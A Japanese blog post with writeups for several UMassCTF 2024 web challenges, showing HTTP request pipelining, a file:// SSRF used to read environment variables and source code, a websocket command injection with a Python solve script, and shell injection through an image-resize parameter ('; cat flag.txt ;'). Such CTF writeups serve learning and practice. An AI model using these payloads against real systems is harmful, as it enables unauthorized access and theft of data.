はまやんはまやんはまやん

hamayanhamayan's blog

UMassCTF 2024 Writeups

[web] Crabby Clicker

golangで書かれたwebサーバが与えられる。

func (r *RequestHandler) handleRequest() {
    defer r.conn.Close()

    reader := bufio.NewReader(r.conn)

    for {
        // Set a deadline for reading. If a second passes without reading any data, a timeout will occur.
        r.conn.SetReadDeadline(time.Now().Add(1 * time.Second))

        // Read and parse the request headers
        request, err := readHTTPHeader(reader)
        if err != nil {
            return
        }

        requestLines := strings.Split(request, "\n")
        if len(requestLines) < 1 {
            fmt.Println("Invalid request")
            return
        }

        // Parse the request line
        requestLine := strings.Fields(requestLines[0])
        if len(requestLine) < 3 {
            fmt.Println("Invalid request")
            return
        }

        method := requestLine[0]
        uri := requestLine[1]

        // Check if the request is a valid GET request
        if method != "GET" {
            r.conn.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\n"))
            return
        }

        // Handle GET request
        if uri == "/" {
            r.generateResponse(`
Welcome to Crabby Clicker!
A HTTP based clicker game where you can earn burgers to get the flag. 
Make a request to /click to gain a burger.
I use my own custom HTTP server implementation to manage the state of the game.
It's not fully working, I am running into some bugs.
            `)
        } else if uri == "/click" {
            // BUG: Weird thing where the state is not updated between requests??
            r.burgers++
            r.generateResponse("burger added")
        } else if uri == "/flag" {
            if r.burgers >= 100 {
                r.generateResponse(fmt.Sprintf("Flag: UMASS{%s}", os.Getenv("FLAG")))
            } else {
                r.generateResponse("Not enough burgers")
            }
        } else {
            r.generateResponse("Not found")
        }
    }
}

このようになっており、/clickr.burgers++をすることでき、
/flagr.burgers >= 100を満たすならフラグが得られる。
しかし、リクエスト毎にr.burgers = 0で開始されるので、r.burgers >= 100とするのが難しい。

処理フローを見るとfor文でリクエスト処理が回されている。
複数リクエストを強制させることができれば、良い感じにフラグが得られそうである。
ここでリクエストを読み込んでいるreadHTTPHeaderを見てみる。

func readHTTPHeader(reader *bufio.Reader) (string, error) {
    // Read headers until \r\n\r\n
    var requestLines []string
    for {
        line, err := reader.ReadString('\n')
        if err != nil {
            return "", err
        }
        requestLines = append(requestLines, line)
        // Check if the current line marks the end of the headers
        if line == "\r\n" {
            break
        }
    }
    return strings.Join(requestLines, ""), nil
}

これを見ると、単に\r\nがあればリクエスト読み込みを終了している。
\r\nで終了すると一旦読み込みが中断されるため、バッファにはまだ残りのリクエストが残存することになる。
この状態で2週目に到達すると残りのリクエストが読み込まれるため、複数リクエストを投げることができる。

つまり、以下のようなリクエストでフラグが得られる。

GET /click HTTP/1.1

GET /click HTTP/1.1

GET /click HTTP/1.1

... [GET /click HTTP/1.1 を 100回以上]

GET /click HTTP/1.1

GET /flag HTTP/1.1

[web] Future Router

ソースコード無し。
SSRFできそうな所とwebsocketでやりとりできそうな所がある。
websocketは応答が淡泊であまりよく分からないので、SSRF箇所から攻めよう。
fileスキーマが動いたので色々抜いていく。

file:///proc/self/environとするとOLDPWD=/PWD=/planktonsrouter1ba8b69eと帰ってくる。
PWDが抜けたので、適当にファイル名をguessしてソースコードを引っ張って来る。
file:///planktonsrouter1ba8b69e/app.pyがあった。

from flask import Flask
from blueprints.routes import httpserver

app = Flask(__name__)
# This web server is the property of Sheldon J. Plankton, 
# please refrain from reading this secret source code.
# I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA!
app.register_blueprint(httpserver, url_prefix='/')

という訳で次は/blueprints/routes.pyを見てみる。
よってfile:///planktonsrouter1ba8b69e/blueprints/routes.py

from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl 

httpserver = Blueprint('httpserver', __name__)

#@httpserver.route("/docs",methods=["GET"])
#def docs():
#   return """<!doctype html>
#    <h1>Router Docs</h1>
#
#    <h2>Websocket API</h2>
#
#    <strong>TODO: Document how to talk to 
#   Karen's customer service module in ../karen/customerservice.py
#   Also figure out how to use supervisord better.</strong>
#"""
#
# Securely CURL URLs, absolutely no bugs here!

@httpserver.route("/static/<path:path>")
def static(path):
    return send_from_directory('static',path)

@httpserver.route("/cURL",methods=["GET","POST"])
def curl():
    if(request.method == "GET"):
        return render_template('curl.html')
    elif(request.method == "POST"):
        try:
            buffer = BytesIO()
            c = pycurl.Curl()
            c.setopt(c.URL, request.json['URL'])
            c.setopt(c.WRITEDATA, buffer)
            c.perform()
            c.close()
            DATA = buffer.getvalue()
            return {"success":DATA.decode('utf-8')}
        except Exception as e:
            return {"error":str(e.with_traceback(None))}

@httpserver.route("/customerservice",methods=["GET"])
def customerservice():
    return render_template('customerservice.html')

NETWORK = [
    {'hostname':'patricks-rock','ports':[{'service':'http','num':80}]},
    {'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]},
    {'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]},

]
@httpserver.route("/dash",methods=["GET"])
def dash():
    return render_template('dashboard.html',network=NETWORK)

@httpserver.route("/")
def hello_world():
    return render_template("index.html")      

コメントに../karen/customerservice.pyとあるので、次はfile:///planktonsrouter1ba8b69e/karen/customerservice.pyを見る。

import asyncio, os, re
from websockets.server import serve

# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty 
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def handle_input(self,message):
        if ("hello" in message):
            return self.Dialogue["Welcome"]
        elif("krabby patty" in message):
            filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
            os.system(f'echo "{filtered_message}\n" >> /dev/null')
            return self.Dialogue["Secret formula"]
        elif("problem" in message):
            return self.Dialogue["Problem"]
        else:
            return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

async def respond(websocket):
    async for message in websocket:
        data = KarenAgent.xor_decrypt(message.encode('latin-1'))
        response = KarenAgent.handle_input(data)
        await websocket.send(response)

async def main():
    async with serve(respond, "0.0.0.0", 9000):
        await asyncio.Future()  # run forever

asyncio.run(main())          

websocketの実装が見つかる。
入力を秘密鍵とXORで復号化して最終的にos.system(f'echo "{filtered_message}\n" >> /dev/null')として実行している。
コマンドインジェクションですね。
以下のような感じでやってみるとスリープが入ったのでうまく実行できていそう。

import asyncio
import websockets

SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
def xor_decrypt(ciphertext):
    plaintext = ""
    cipher_arr = bytearray(ciphertext)
    for i in range(0,len(cipher_arr)):
        plaintext += chr(cipher_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)])
    return plaintext

async def solve():
    uri = "ws://future-router.ctf.umasscybersec.org/app/"
    async with websockets.connect(uri) as websocket:
        await websocket.send(xor_decrypt(b"krabby patty $(sleep 5)"))
        resp = await websocket.recv()
        print(resp)

asyncio.get_event_loop().run_until_complete(solve())

応答を持ってくるのに苦労した。
外部通信は許可していないのか、curlとかwgetは使えなかった。
webサイトの/static/において取り出す方針も書き込み権限がないのかダメだった。
うーーんと思っていたら、前半で使ったfileスキーマによるLFIを思い出す。
tmpフォルダに適当に出力してfileスキーマによるLFIで取り出してくることができた。
つまり、ls -la / > /tmp/sdfajk235jisdjakfjsakみたいなコマンドを実行して、file:///tmp/sdfajk235jisdjakfjsakを持ってくればls -la /結果が分かる。
これで/flag53958e73c5ba4a66というファイルが分かるので、これをcatで同様にして持ってくれば答え。

[web] Spongebobs Homepage

ソースコード無し。
スポンジボブのファンページが与えられる。
リクエストを眺めると

http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=house&size=300x494
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200x200
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=2000x200

このようなリクエストが走っている。
ん?この形どこかで…?と思っていると

blog.flatt.tech

つい最近書いたインジェクションの記事のコマンドインジェクション例に似ている。
sizeを; ls ;とするとls結果が表示された。
興味で./server.pyを抜いてみよう。

import http.server
import socketserver
import urllib.parse
import subprocess
import os
import base64

PORT = 1337

class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Route for the root `/`
        if self.path == '/':
            self.path = './files/index.html'
            return http.server.SimpleHTTPRequestHandler.do_GET(self)
        
        # Parse path and query
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        
        # Route for `/assets/image`
        if parsed_path.path == '/assets/image':
            # Extract the image name and size from the query parameters
            name = query_params.get('name', [None])[0]
            size = query_params.get('size', [None])[0]

            if name and size:
                
                if not name.isalnum():
                    self.send_error(400, "Invalid name parameter")
                    return

                image_path = f'./files/assets/{name}.png'
                if os.path.isfile(image_path):
                    # Run the ImageMagick convert command to resize the image
                    command = f"convert ./files/assets/{name}.png -resize {size}! png:-"
                    try:
                        # Execute the command using shell=True to make it vulnerable to injection
                        process = subprocess.Popen(
                            command,
                            shell=True,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE
                        )
                        output, errors = process.communicate()
                        if process.returncode == 0:
                            self.send_response(200)
                            self.send_header('Content-type', 'image/png')
                            # self.send_header('X-Debug-Command', command)
                            self.end_headers()
                            self.wfile.write(output)
                            return
                        else:
                            self.send_error(500, f"Error resizing image: {errors.decode()}")
                            return
                    except Exception as e:
                        self.send_error(500, f"Internal server error: {str(e)}")
                        return
                else:
                    self.send_error(404, "Image not found")
                    return
            else:
                self.send_error(400, "Missing name or size parameters")
                return

        # Fallback to default file serving
        else:
            self.send_error(404, "File not found")
            return 

# Set up and start the server
with socketserver.TCPServer(("0.0.0.0", PORT), RequestHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

command = f"convert ./files/assets/{name}.png -resize {size}! png:-"でコマンドインジェクションできますね。
; cat flag.txt ;としたGET /assets/image?name=house&size=%3b%20cat%20flag.txt%20%3bでフラグ獲得。

[web] Holesome Birthday Party 途中であきらめ

良くある、応答に応じてHTTPリクエストヘッダーをつけていく問題。
guessが突破できなかった所があったので途中であきらめてしまった。 でも最後までそういう感じなので、興味がある人は以下の公式writeupをどうぞ。
https://discord.com/channels/808050086428409868/1229186793669394572/1231728862203744437

[Web] Cash Cache 解いてない

時間が無くて解けなかったが、面白そうな雰囲気がある。後で復習する。